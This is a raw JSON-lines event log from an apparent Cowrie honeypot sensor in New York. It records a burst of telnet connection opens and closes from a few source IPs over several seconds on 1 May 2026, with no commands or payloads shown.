{"eventid":"cowrie.session.closed","duration":30.629307746887207,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:15.284189Z","src_ip":"167.71.198.239","session":"2069e731e4aa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.308935165405273,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:15.352175Z","src_ip":"167.71.198.239","session":"d254a3b83897","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:15.426929Z","src_ip":"159.203.92.129","session":"e188b334a1a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.817389488220215,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:15.641547Z","src_ip":"167.71.198.239","session":"81e0f9cd9657","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.198.239","src_port":38520,"dst_ip":"159.203.135.109","dst_port":23,"session":"1677d4b87d52","protocol":"telnet","message":"New connection: 167.71.198.239:38520 (159.203.135.109:23) [session: 1677d4b87d52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:15.740265Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.198.239","src_port":38574,"dst_ip":"159.203.135.109","dst_port":23,"session":"bfabd70fd1c3","protocol":"telnet","message":"New connection: 167.71.198.239:38574 (159.203.135.109:23) [session: bfabd70fd1c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:15.798579Z"}
{"eventid":"cowrie.session.closed","duration":30.81158947944641,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:16.066181Z","src_ip":"85.190.254.94","session":"107e6a952543","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":58066,"dst_ip":"10.17.0.5","dst_port":23,"session":"5299c55ed7e8","protocol":"telnet","message":"New connection: 85.190.254.94:58066 (10.17.0.5:23) [session: 5299c55ed7e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:16.138330Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":60018,"dst_ip":"10.17.0.5","dst_port":23,"session":"907c46699a4e","protocol":"telnet","message":"New connection: 85.190.254.94:60018 (10.17.0.5:23) [session: 907c46699a4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:16.717132Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.198.239","src_port":40106,"dst_ip":"159.203.135.109","dst_port":23,"session":"28bdc0c8afdd","protocol":"telnet","message":"New connection: 167.71.198.239:40106 (159.203.135.109:23) [session: 28bdc0c8afdd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:16.731738Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.198.239","src_port":40108,"dst_ip":"159.203.135.109","dst_port":23,"session":"9c7978961fb8","protocol":"telnet","message":"New connection: 167.71.198.239:40108 (159.203.135.109:23) [session: 9c7978961fb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:16.735311Z"}
{"eventid":"cowrie.session.closed","duration":30.455275297164917,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:17.253872Z","src_ip":"167.71.198.239","session":"b8ce3c3d823d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":34066,"dst_ip":"10.17.0.5","dst_port":23,"session":"d40fd32ab20f","protocol":"telnet","message":"New connection: 85.190.254.94:34066 (10.17.0.5:23) [session: d40fd32ab20f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:17.403806Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":35724,"dst_ip":"10.17.0.5","dst_port":23,"session":"271317554a4e","protocol":"telnet","message":"New connection: 85.190.254.94:35724 (10.17.0.5:23) [session: 271317554a4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:17.930491Z"}
{"eventid":"cowrie.session.closed","duration":30.89390754699707,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:18.058051Z","src_ip":"85.190.254.94","session":"8fdb6d77c40a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":36396,"dst_ip":"10.17.0.5","dst_port":23,"session":"c35938562314","protocol":"telnet","message":"New connection: 85.190.254.94:36396 (10.17.0.5:23) [session: c35938562314]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:18.146075Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":36824,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b22166b61d1","protocol":"telnet","message":"New connection: 85.190.254.94:36824 (10.17.0.5:23) [session: 6b22166b61d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:18.243761Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":37604,"dst_ip":"10.17.0.5","dst_port":23,"session":"c5a53d106ea5","protocol":"telnet","message":"New connection: 85.190.254.94:37604 (10.17.0.5:23) [session: c5a53d106ea5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:18.416376Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":37674,"dst_ip":"10.17.0.5","dst_port":23,"session":"edd8f4373771","protocol":"telnet","message":"New connection: 85.190.254.94:37674 (10.17.0.5:23) [session: edd8f4373771]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:18.443405Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":38848,"dst_ip":"10.17.0.5","dst_port":23,"session":"6c56d0f54ac7","protocol":"telnet","message":"New connection: 85.190.254.94:38848 (10.17.0.5:23) [session: 6c56d0f54ac7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:18.778039Z"}
{"eventid":"cowrie.session.closed","duration":30.227248191833496,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:19.068389Z","src_ip":"85.190.254.94","session":"8a6ac62af49a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":39786,"dst_ip":"10.17.0.5","dst_port":23,"session":"c384356b24b9","protocol":"telnet","message":"New connection: 85.190.254.94:39786 (10.17.0.5:23) [session: c384356b24b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:19.109454Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":40052,"dst_ip":"10.17.0.5","dst_port":23,"session":"e00e71f01ebb","protocol":"telnet","message":"New connection: 85.190.254.94:40052 (10.17.0.5:23) [session: e00e71f01ebb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:19.216474Z"}
{"eventid":"cowrie.session.connect","src_ip":"136.244.67.81","src_port":44012,"dst_ip":"159.203.135.109","dst_port":23,"session":"021bf1029ce7","protocol":"telnet","message":"New connection: 136.244.67.81:44012 (159.203.135.109:23) [session: 021bf1029ce7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:19.483110Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.198.239","src_port":44586,"dst_ip":"159.203.135.109","dst_port":23,"session":"65701a2f8a98","protocol":"telnet","message":"New connection: 167.71.198.239:44586 (159.203.135.109:23) [session: 65701a2f8a98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:19.833999Z"}
{"eventid":"cowrie.session.closed","duration":30.639731407165527,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:20.066572Z","src_ip":"85.190.254.94","session":"f147af8fd2e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.652538537979126,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:20.097749Z","src_ip":"85.190.254.94","session":"ae3dd8ebfeff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.572356939315796,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:20.265677Z","src_ip":"167.71.198.239","session":"4d9d37aa5225","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":43952,"dst_ip":"10.17.0.5","dst_port":23,"session":"029a065e44e4","protocol":"telnet","message":"New connection: 85.190.254.94:43952 (10.17.0.5:23) [session: 029a065e44e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:20.400259Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":44354,"dst_ip":"10.17.0.5","dst_port":23,"session":"20e4bbe07538","protocol":"telnet","message":"New connection: 85.190.254.94:44354 (10.17.0.5:23) [session: 20e4bbe07538]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:20.517874Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":45264,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb4efc721486","protocol":"telnet","message":"New connection: 85.190.254.94:45264 (10.17.0.5:23) [session: cb4efc721486]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:20.802235Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":45420,"dst_ip":"10.17.0.5","dst_port":23,"session":"e7cab6cc974d","protocol":"telnet","message":"New connection: 85.190.254.94:45420 (10.17.0.5:23) [session: e7cab6cc974d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:20.853000Z"}
{"eventid":"cowrie.session.closed","duration":30.69406294822693,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:21.065204Z","src_ip":"85.190.254.94","session":"8177beef09d4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.664853811264038,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:21.140299Z","src_ip":"85.190.254.94","session":"ca9512742d93","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":47154,"dst_ip":"10.17.0.5","dst_port":23,"session":"0968a0900da5","protocol":"telnet","message":"New connection: 85.190.254.94:47154 (10.17.0.5:23) [session: 0968a0900da5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:21.380260Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":47574,"dst_ip":"10.17.0.5","dst_port":23,"session":"9a94248c1663","protocol":"telnet","message":"New connection: 85.190.254.94:47574 (10.17.0.5:23) [session: 9a94248c1663]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:21.473430Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.198.239","src_port":47210,"dst_ip":"159.203.135.109","dst_port":23,"session":"d40f4a432904","protocol":"telnet","message":"New connection: 167.71.198.239:47210 (159.203.135.109:23) [session: d40f4a432904]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:21.794927Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":49280,"dst_ip":"10.17.0.5","dst_port":23,"session":"cc943c6e4716","protocol":"telnet","message":"New connection: 85.190.254.94:49280 (10.17.0.5:23) [session: cc943c6e4716]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:21.965950Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":51090,"dst_ip":"10.17.0.5","dst_port":23,"session":"317a41a980e6","protocol":"telnet","message":"New connection: 85.190.254.94:51090 (10.17.0.5:23) [session: 317a41a980e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:22.476445Z"}
{"eventid":"cowrie.session.closed","duration":30.75983166694641,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:23.066236Z","src_ip":"85.190.254.94","session":"dd371ba81d5a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":53770,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d66fd913a88","protocol":"telnet","message":"New connection: 85.190.254.94:53770 (10.17.0.5:23) [session: 7d66fd913a88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:23.213584Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":54032,"dst_ip":"10.17.0.5","dst_port":23,"session":"0beb531f4c5c","protocol":"telnet","message":"New connection: 85.190.254.94:54032 (10.17.0.5:23) [session: 0beb531f4c5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:23.291804Z"}
{"eventid":"cowrie.session.closed","duration":30.580641984939575,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:23.320503Z","src_ip":"167.71.198.239","session":"404b0f68212b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":55456,"dst_ip":"10.17.0.5","dst_port":23,"session":"dbbc4bd46504","protocol":"telnet","message":"New connection: 85.190.254.94:55456 (10.17.0.5:23) [session: dbbc4bd46504]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:23.689850Z"}
{"eventid":"cowrie.session.closed","duration":30.523412227630615,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:24.169817Z","src_ip":"85.190.254.94","session":"3a19b2f22337","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"136.244.67.81","src_port":47662,"dst_ip":"159.203.135.109","dst_port":23,"session":"fcf57583de04","protocol":"telnet","message":"New connection: 136.244.67.81:47662 (159.203.135.109:23) [session: fcf57583de04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:24.466304Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.198.239","src_port":51546,"dst_ip":"159.203.135.109","dst_port":23,"session":"bdd779cf4698","protocol":"telnet","message":"New connection: 167.71.198.239:51546 (159.203.135.109:23) [session: bdd779cf4698]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:24.647847Z"}
{"eventid":"cowrie.session.closed","duration":31.07260012626648,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:25.063105Z","src_ip":"85.190.254.94","session":"aaa08403d042","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.686778783798218,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:25.074040Z","src_ip":"85.190.254.94","session":"e00233c3bf83","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.198.239","src_port":52124,"dst_ip":"159.203.135.109","dst_port":23,"session":"3aae9d81f957","protocol":"telnet","message":"New connection: 167.71.198.239:52124 (159.203.135.109:23) [session: 3aae9d81f957]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:25.105462Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.198.239","src_port":53092,"dst_ip":"159.203.135.109","dst_port":23,"session":"be6f2f9fe81d","protocol":"telnet","message":"New connection: 167.71.198.239:53092 (159.203.135.109:23) [session: be6f2f9fe81d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:25.668068Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.198.239","src_port":53370,"dst_ip":"159.203.135.109","dst_port":23,"session":"1741771554fd","protocol":"telnet","message":"New connection: 167.71.198.239:53370 (159.203.135.109:23) [session: 1741771554fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:25.792569Z"}
{"eventid":"cowrie.session.closed","duration":30.655672073364258,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:26.060001Z","src_ip":"85.190.254.94","session":"156675f0776d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.198.239","src_port":54322,"dst_ip":"159.203.135.109","dst_port":23,"session":"553d0bc29f13","protocol":"telnet","message":"New connection: 167.71.198.239:54322 (159.203.135.109:23) [session: 553d0bc29f13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:26.458442Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":37778,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f30a3001328","protocol":"telnet","message":"New connection: 85.190.254.94:37778 (10.17.0.5:23) [session: 6f30a3001328]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:26.581056Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":38920,"dst_ip":"10.17.0.5","dst_port":23,"session":"374842af59a7","protocol":"telnet","message":"New connection: 85.190.254.94:38920 (10.17.0.5:23) [session: 374842af59a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:26.955058Z"}
{"eventid":"cowrie.session.closed","duration":30.78967833518982,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:27.059249Z","src_ip":"136.244.67.81","session":"710bbda9f8fa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.55302882194519,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:27.085948Z","src_ip":"85.190.254.94","session":"3f87b007cbca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.007978200912476,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:27.416400Z","src_ip":"85.190.254.94","session":"e7bb3df2dfbf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.6957426071167,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:28.110338Z","src_ip":"136.244.67.81","session":"33c99c7f7c68","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":42576,"dst_ip":"10.17.0.5","dst_port":23,"session":"08be8e64094b","protocol":"telnet","message":"New connection: 85.190.254.94:42576 (10.17.0.5:23) [session: 08be8e64094b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:28.123352Z"}
{"eventid":"cowrie.session.closed","duration":30.95669984817505,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:28.215057Z","src_ip":"85.190.254.94","session":"979d3061f365","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"136.244.67.81","src_port":47670,"dst_ip":"159.203.135.109","dst_port":23,"session":"36139429fd36","protocol":"telnet","message":"New connection: 136.244.67.81:47670 (159.203.135.109:23) [session: 36139429fd36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:28.226954Z"}
{"eventid":"cowrie.session.closed","duration":30.690503358840942,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:28.241433Z","src_ip":"167.71.198.239","session":"cd6dba051780","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":43246,"dst_ip":"10.17.0.5","dst_port":23,"session":"8c8c571066e1","protocol":"telnet","message":"New connection: 85.190.254.94:43246 (10.17.0.5:23) [session: 8c8c571066e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:28.459924Z"}
{"eventid":"cowrie.session.closed","duration":31.49290680885315,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:28.463610Z","src_ip":"167.71.198.239","session":"59948c68464f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":43412,"dst_ip":"10.17.0.5","dst_port":23,"session":"417b04ca5825","protocol":"telnet","message":"New connection: 85.190.254.94:43412 (10.17.0.5:23) [session: 417b04ca5825]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:28.469459Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":44212,"dst_ip":"10.17.0.5","dst_port":23,"session":"abef8aa4744e","protocol":"telnet","message":"New connection: 85.190.254.94:44212 (10.17.0.5:23) [session: abef8aa4744e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:28.603981Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":44896,"dst_ip":"10.17.0.5","dst_port":23,"session":"1b64d7d8377b","protocol":"telnet","message":"New connection: 85.190.254.94:44896 (10.17.0.5:23) [session: 1b64d7d8377b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:28.817673Z"}
{"eventid":"cowrie.session.closed","duration":30.61811137199402,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:29.064448Z","src_ip":"85.190.254.94","session":"25aec60d43aa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.198.239","src_port":58928,"dst_ip":"159.203.135.109","dst_port":23,"session":"c31e9345522b","protocol":"telnet","message":"New connection: 167.71.198.239:58928 (159.203.135.109:23) [session: c31e9345522b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:29.086946Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.198.239","src_port":59788,"dst_ip":"159.203.135.109","dst_port":23,"session":"f2b8bb5c52b4","protocol":"telnet","message":"New connection: 167.71.198.239:59788 (159.203.135.109:23) [session: f2b8bb5c52b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:29.651238Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":49576,"dst_ip":"10.17.0.5","dst_port":23,"session":"d7e74eeab6a3","protocol":"telnet","message":"New connection: 85.190.254.94:49576 (10.17.0.5:23) [session: d7e74eeab6a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:30.150547Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":50664,"dst_ip":"10.17.0.5","dst_port":23,"session":"49827933cad8","protocol":"telnet","message":"New connection: 85.190.254.94:50664 (10.17.0.5:23) [session: 49827933cad8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:30.446840Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.198.239","src_port":33110,"dst_ip":"159.203.135.109","dst_port":23,"session":"03097818495e","protocol":"telnet","message":"New connection: 167.71.198.239:33110 (159.203.135.109:23) [session: 03097818495e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:30.659734Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":52264,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ccb9296aef7","protocol":"telnet","message":"New connection: 85.190.254.94:52264 (10.17.0.5:23) [session: 6ccb9296aef7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:30.842896Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.198.239","src_port":33462,"dst_ip":"159.203.135.109","dst_port":23,"session":"89c09537306f","protocol":"telnet","message":"New connection: 167.71.198.239:33462 (159.203.135.109:23) [session: 89c09537306f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:30.849992Z"}
{"eventid":"cowrie.session.closed","duration":30.51045870780945,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:31.255831Z","src_ip":"85.190.254.94","session":"ae8691ac10fc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"136.244.67.81","src_port":47684,"dst_ip":"159.203.135.109","dst_port":23,"session":"3483be4356f8","protocol":"telnet","message":"New connection: 136.244.67.81:47684 (159.203.135.109:23) [session: 3483be4356f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:03:31.408589Z"}
